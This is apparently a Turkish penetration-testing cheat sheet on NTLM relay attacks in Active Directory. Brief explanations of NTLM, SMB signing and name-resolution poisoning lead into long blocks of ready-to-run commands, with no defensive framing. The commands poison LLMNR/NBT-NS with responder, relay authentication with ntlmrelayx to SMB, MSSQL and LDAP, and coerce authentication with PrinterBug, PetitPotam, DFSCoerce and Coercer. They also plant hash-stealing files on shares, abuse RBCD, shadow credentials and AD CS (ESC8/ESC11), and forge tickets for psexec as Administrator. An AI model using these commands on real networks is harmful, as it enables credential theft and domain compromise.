# NTLM Relay Attacks

### NTLM Nedir?

* Windows active directory ağlarında kimlik doğrulama için geliştirilmiş bir protokoldür.
* Kerberostan daha güvensizdir.

### NTLM's pass-through authentication

* Bu kimlik doğrulama yöntemi hedef makine bir domain içinde ise gerçekleştirilir.

<figure><img src="https://3737168764-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3ONffZJjq1KZ6NIRmS0c%2Fuploads%2Fx3i0xMIeK7WJ0WIQRwKY%2Fimage.png?alt=media&#x26;token=403b51c8-9a00-43d1-a082-a72e98ae3b10" alt=""><figcaption></figcaption></figure>

### Workgroup Authentication

* Eğer hedef makine domaine bağlı değilse parola hashini kendi SAM veritabanı ile kontrol eder.

<figure><img src="https://3737168764-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F3ONffZJjq1KZ6NIRmS0c%2Fuploads%2FRNkWL1JBxYpNDusVnncq%2Fimage.png?alt=media&#x26;token=ffd8a0e7-b555-497f-a20a-7b68ab0dfc8e" alt=""><figcaption></figcaption></figure>

### SMB Signing ve SMB Sealing

* SMB Signing: Sunucu ve kullanıcı arasındaki her adım kullanıcı ve sunucunun parola hashlerinin bir kombinasyonu ile imzalanır. Bu şekilde mesaj okunabilir fakat bir aradaki bir saldırgan tarafından değiştirilemez.
* SMB Sealing: Her mesaj aynı yöntem ile imzalanır ve aynı zamande şifrelenir. Bu şekilde saldırgan mesajı hem göremez hem değiştiremez.

### **LLMNR, NBT-NS, and mDNS Poisoning**

* Bu protokoller ağda bir DNS sorgusu başarısız olduğunda devreye giren yedek protokollerdir.
* Bir dns sorgusu başarısız olduğunda cihaz ağa bir broadcast mesajı gönderir ve bu sunucunun IP adresini bilen biri olup olmadığını sorar.
* Biz bu adımda sunucunun IP adresini kendimiz olarak gösterirsek sunucu bize auth olmaya çalışır ve kimlik bilgisini gönderir.

```bash
# Sadece analiz eder poisoning yapmaz
responder -I eth0 -A
# Poisoning yapar
responder -I eth0
```

### NTLM Relay

* NTLM Relay ile kendimize gelen auth isteklerini istediğimiz makineye yönlendirebiliriz ve o kişinin yetkileri ile session alabiliriz.
* SMB Signing kapalı olan hedefler etkilenir.

```bash
# SMB signing kapalı olan hedefleri listeler
nxc smb 10.0.0.0/24 --gen-relay-list relay.txt
responder-RunFinger -i 10.0.0.0/24
# Hangi servisi relay etmek istiyorsak onun sunucusunu kapatıyoruz
micro /usr/share/responder/Responder.conf
# Zehirlemeye başlıyoruz
responder -I eth0
# Responder'a gelen bağlantıyı hedeflere yönlendiriyoruz
impacket-ntlmrelayx -tf relay.txt -smb2support
# Default olarak SAM veritabanını çeker fakat istersek komut çalıştırabiliriz
impacket-ntlmrelayx -tf relay.txt -smb2support -c 'whoami'
```

### Ntlmrelayx

```bash
# Zehirlemeye başlıyoruz
responder -I eth0

# Bağlantıyı tek hedefe yönlendirir
impacket-ntlmrelayx -t smb://10.0.0.2
# Belirlediğimiz kullanıcıdan gelen bağlantıyı bir hedefe yönlendirir
impacket-ntlmrelayx -t smb://CORP\\JOHN@10.0.0.2
# Belirlediğimiz kullanıcıdan gelen ilk bağlantıyı bir hedefe yönlendirir
impacket-ntlmrelayx -t smb://CORP\\JOHN@10.0.0.2 --no-multirelay

# Socks4 portu 1080 olmalı
micro /etc/proxychains4.conf
# Socks bağlantısı kurabiliriz
impacket-ntlmrelayx -tf relay.txt -smb2support -socks
# Bağlantıları listeler
ntlmrelayx> socks
# Proxychains ile socks bağlantılarını kullanabiliriz
proxychains -q impacket-smbexec CORP/JOHN@10.0.0.2 -no-pass
proxychains -q impacket-smbclient CORP/JOHN@10.0.0.2 -no-pass
# Interaktif mod ile otomatik SMBClient bağlantısı kurulur ve nc ile bağlanabiliriz
impacket-ntlmrelayx -tf relay.txt -smb2support -i
nc -nv 127.0.0.1 11000
```

### MSSQL Üzerinden NTLM Relay&#x20;

```bash
# SMB Serveri kapatıyoruz
micro /usr/share/responder/Responder.conf
# Poisoning başlatıyoruz
responder -I eth0
# Tek bir hedefe relay ediyoruz
impacket-ntlmrelayx -t mssql://10.0.0.2 -smb2support -socks
# Socks bağlantısı ile bağlanıyoruz
proxychains -q impacket-mssqlclient CORP/JOHN@10.0.0.2 -windows-auth -no-pass
# Doğrudan SQL sorgusu da yapılabilir
impacket-ntlmrelayx -t mssql://CORP\\JOHN@10.0.0.2 -smb2support -q "SELECT name FROM sys.databases;"
```

### LDAP Üzerinden NTLM Relay

```bash
# SMB ve HTTP Serveri kapatıyoruz
micro /usr/share/responder/Responder.conf
# Poisoning başlatıyoruz
responder -I eth0

# Domain controller'da zafiyet varsa doğrudan relay edebiliriz
python cve-2019-1040-scanner/scan.py corp/john$:'pass123'@10.0.0.1
# Eğer zafiyet var ise her ntlmrelay çalıştırırken -remove-mic koymalıyız
impacket-ntlmrelayx -t ldap://10.0.0.1 -smb2support -remove-mic --no-da --no-acl --lootdir ldap_dump

# Eğer zafiyet yoksa sadece HTTP istekleri relay edilebilir smb çalışmaz
impacket-ntlmrelayx -t ldap://10.0.0.1 -smb2support --no-da --no-acl --lootdir ldap_dump
# Relay ile computer oluşturulabilir
impacket-ntlmrelayx -t ldap://10.0.0.1 -smb2support --no-da --no-acl --add-computer 'JOHNPC$'
# Aynı zamanda relay edilen kullanıcının ACL yetkileri ile otomatik yetki yükseltmesi denenebilir.
impacket-ntlmrelayx -t ldap://10.0.0.1 -smb2support --escalate-user 'JOHNPC$' --no-dump -debug
```

### Bütün Servisler Üzerinden NTLM Relay

```bash
# All protokolü ile bütün servislere relay yapabiliriz 
echo "all://10.0.0.2" > relay.txt
# Bütün serverleri kapatıyoruz
micro /usr/share/responder/Responder.conf
# Poisoning başlatıyoruz
responder -I eth0
# Artık bütün relayleri socks üzerinden kullanabiliriz
impacket-ntlmrelayx -tf relay.txt -smb2support -socks
ntlmrelayx> socks
```

### SMB Share ile Hash Toplama

```bash
# Anonim bir share arıyoruz
nxc smb 10.0.0.0/24 -u anonymous -p '' --shares
# Bu share'a girenlerin bize bağlantı göndermesini sağlayan dosyalar oluşturuyoruz
python ntlm_theft.py -g all -s 10.0.0.9 -f '@myfile'
# Anonim olan paylaşıma giriyoruz ve lnk veya url uzantılı dosyayı koyuyoruz
impacket-smbclient anonymous@10.0.0.2 -no-pass
put @myfile/@myfile.lnk
# Aynı işlemi nxc ile otomatik yapabiliriz
nxc smb 10.0.0.2 -u anonymous -p '' -M slinky -o SERVER=10.0.0.9 NAME=important
# Artık SMB share'a bağlanan herhangi biri hashini bize gönderiyor
impacket-ntlmrelayx -tf relay.txt -smb2support -socks
```

### WebDav ile Hash Toplama

```bash
# Webdav açık sunuculara bakıyoruz
nxc smb 10.0.0.0/24 -u john -p pass123 -M webdav
# Eğer hiçbir WebDav açık değilse SMB Share üzerine searchConnector-ms dosyası koyuyoruz
# SMB share'a bağlanan kişilerin bize istek atarak webdav servisini açmasını sağlıyoruz
nxc smb 10.0.0.2 -u anonymous -p '' -M drop-sc -o URL=https://10.0.0.9/testing SHARE=smb FILENAME=@secret
# Webdav açık sunuculara bir daha bakıyoruz
nxc smb 10.0.0.0/24 -u john -p pass123 -M webdav
# Anonim SMB açık olan sunucuya bu share'a bağlananların rastgele bir hedefe istek atmasını sağlayan dosya yerleştiriyoruz
nxc smb 10.0.0.2 -u anonymous -p '' -M slinky -o SERVER=NOAREALNAME@8008 NAME=important
# Artık Webdav servisi açık olan biri bu SMB share'a girerse bize bağlanıcak
responder -I eth0
# HTTP isteklerini LDAP komutları için kullanabiliriz
impacket-ntlmrelayx -t ldap://10.0.0.1 -smb2support --no-smb-server --http-port 8008 --no-da --no-acl --no-validate-privs --lootdir ldap_dump
```

### MSSQL Hash Alma

```bash
# MSSQL servisine bağlanıyoruz
impacket-mssqlclient CORP/john@10.0.0.2 -windows-auth -no-pass
# Eğer bir mssql ele geçirdiysek kendimize SMB auth isteği gönderebiliriz
impacket-smbserver share Deneme -smb2support
exec xp_dirtree "\\10.0.0.9\Deneme"
```

### PrinterBug (MS-RPRN)

```bash
# Printerbug ile sunucunun bize smb auth isteği atmasını zorluyoruz
python krbrelayx/printerbug.py corp/john:'pass123'@10.0.0.2 10.0.0.9
# Burada SMB isteği geliyor (Net-NTLMv2)
responder -I eth0

# SMB share'a bağlanan kişilerin bize istek atarak webdav servisini açmasını sağlıyoruz
nxc smb 10.0.0.2 -u anonymous -p '' -M drop-sc -o URL=https://10.0.0.9/testing SHARE=smb FILENAME=@secret
# Webdav servisi açılan sunucuları buluyoruz
nxc smb 10.0.0.0/24 -u john -p pass123 -M webdav
# Webdav servisi açık olan sunucuyu rastgele bir webdav'a yönlendiriyoruz
python krbrelayx/printerbug.py corp/john:'pass123'@10.0.0.3 RANDOMNAME@80/print
# Bu sefer HTTP isteği geliyor (NTLMv2)
responder -I eth0
```

### PetitPotam (MS-EFSR)

```bash
# Bu zafiyet ile kendimize smb auth isteği attırabiliriz
python PetitPotam.py 10.0.0.9 10.0.0.2 -u 'john' -p 'pass123' -d corp.local
# HTTP isteği attırmak için webdav açık bir sunucuya saldırabiliriz
python PetitPotam.py RANDOMNAME@80/files 10.0.0.2 -u 'john' -p 'pass123' -d corp.local

responder -I eth0
```

### DFSCoerce (MS-DFSNM)

```bash
# Bu zafiyet ile kendimize SMB auth isteği attırabiliriz
python dfscoerce.py -u 'john' -p 'pass123' 10.0.0.9 10.0.0.2
responder -I eth0
```

### Coercer

* Otomatik olarak bütün coerce zafiyetlerini dener

```bash
# Sadece coerce tekniklerini dener
Coercer scan -t 10.0.0.2 -u 'john' -p 'pass123' -d corp.local -v
# Coerce teknikleri ile bize istek attırır
Coercer coerce -t 10.0.0.2 -l 10.0.0.9 -u 'john' -p 'pass123' -d corp.local -v --always-continue
# Webdav açık sunucuda http isteği attırır
Coercer -t 10.0.0.2 -u 'john' -p 'pass123' -wh RANDOMPC -wp 80 -v
```

### Kerberos RBCD Saldırısı

```bash
# SMB share açan kullanıcıların webdav servisi açmasını sağlıyoruz
nxc smb 10.0.0.2 -u anonymous -p '' -M drop-sc -o URL=https://10.0.0.9/testing FILENAME=@secret
# Webdav açılan sunucuları listeliyoruz
nxc smb 10.0.0.0/24 -u john -p pass123 -M webdav
# Poisoning başlatıyoruz
responder -I eth0
# Webdav açılan sunucuyu hedef alarak DC'ye yönlendiriyoruz ve kendi yetkimizi yükseltmesini istiyoruz
impacket-ntlmrelayx -t ldaps://CORP\\"SQL01$"@10.0.0.1 --delegate-access --escalate-user 'john' --no-smb-server --no-dump
# Printerbug ile hedef sunucunun bize http auth olmasını sağlıyoruz
python printerbug.py corp/john:'pass123'@10.0.0.3 RANDOM01@80/print

# Hosts dosyasına hedefi eklemeliyiz
# 10.0.0.3 sql01 sql01.corp.local
micro /etc/hosts
# Hedef için service ticket alıyoruz
impacket-getST -spn cifs/sql01.corp.local -impersonate Administrator -dc-ip 10.0.0.1 "CORP"/"john":"pass123"
# Bileti import ediyoruz
export KRB5CCNAME=Administrator.ccache
# Hedefe admin yetkilerinde giriş yapabiliyoruz
impacket-psexec -k -no-pass sql01.corp.local
```

### Shadow Credentials Saldırısı

* Bu yöntem için domainde bir sertifika sunucusu olmalı

```bash
# Poisoning başlatıyoruz
responder -I eth0
# Burada peter kullanıcısının james kullanıcısınun msDS-KeyCredentialLink özelliği
# üzerinde editleme yetkisi var yani shodow credential saldırısı yapabilir
impacket-ntlmrelayx -t ldap://CORP\\PETER@10.0.0.1 --shadow-credentials --shadow-target JAMES --no-da --no-dump --no-acl --no-smb-server
# NTLMrelayx komutunun en altında yazan komutu çalıştırıyoruz
impacket-gettgtpkinit -cert-pfx rbnYdUv8.pfx -pfx-pass NRzoep723H6Yfc0pY91Z CORP.LOCAL/james james.ccache
# James kullanıcısının biletini import ediyoruz
export KRB5CCNAME=james.ccache
# Artık james ile giriş yapabiliriz
evil-winrm -i dc01.corp.local -r CORP.LOCAL
```

### NTLM Relay ile AD CS Saldırısı

```bash
# Sertifika sunucusunu buluyoruz
nxc ldap 10.0.0.0/24 -u 'john' -p 'pass123' -M adcs
# Sertifikaları listeliyoruz
nxc ldap 10.0.0.1 -u john -p 'pass123' -M adcs -o SERVER=CORP-DC01-CA
# Sertifika sunucusu zafiyetlerini listeliyoruz
certipy find -u 'john'@10.0.0.1 -p 'pass123' -stdout -vulnerable -enabled
```

### NTLM Relay ile ESC8

```bash
# Gelen istekleri relay ediyoruz
certipy relay -target "http://10.0.0.1" -template Machine
# Hedefin bize auth olmasını sağlıyoruz
python printerbug.py corp/john:'pass123'@10.0.0.2 10.0.0.9
# Pfx dosyası ile NT hashini alıyoruz
certipy auth -pfx ws01.pfx -dc-ip 10.0.0.1
# Domain SID değerini buluyoruz
impacket-lookupsid 'CORP.LOCAL/WS01$'@10.0.0.1 -hashes :<NT_HASH> | grep -i domain
# Bir TGS bileti oluşturuyoruz
impacket-ticketer -nthash <NT_HASH> -domain-sid <SID> -domain corp.local -spn cifs/ws01.corp.local Administrator
# Bileti import ediyoruz
export KRB5CCNAME=Administrator.ccache
# Bileti servise bağlanmak için kullanıyoruz
impacket-psexec -k -no-pass ws01.corp.local
```

### NTLM Relay ile ESC11

```bash
# Gelen istekleri DC'ye relay ediyoruz
certipy relay -target "rpc://10.0.0.1" -ca "CORP-DC01-CA"
# Bir makine hesabının bize smb auth olmasını sağlıyoruz
python printerbug.py CORP/john:'pass123'@10.0.0.2 10.0.0.9
# Makine hesabının NT hashini alıyoruz
certipy auth -pfx ws01.pfx -dc-ip 10.0.0.1
# Domain SID buluyoruz
impacket-lookupsid 'CORP.LOCAL/WS01$'@10.0.0.1 -hashes :<NT_HASH>
# Makine hesabı ile bir TGS bileti oluşturuyoruz
impacket-ticketer -nthash <NT_HASH> -domain-sid <SID> -domain corp.local -spn cifs/ws01.corp.local Administrator
# Bileti import ediyoruz
export KRB5CCNAME=Administrator.ccache
# Servise auth oluyoruz
impacket-psexec -k -no-pass ws01.corp.local
```
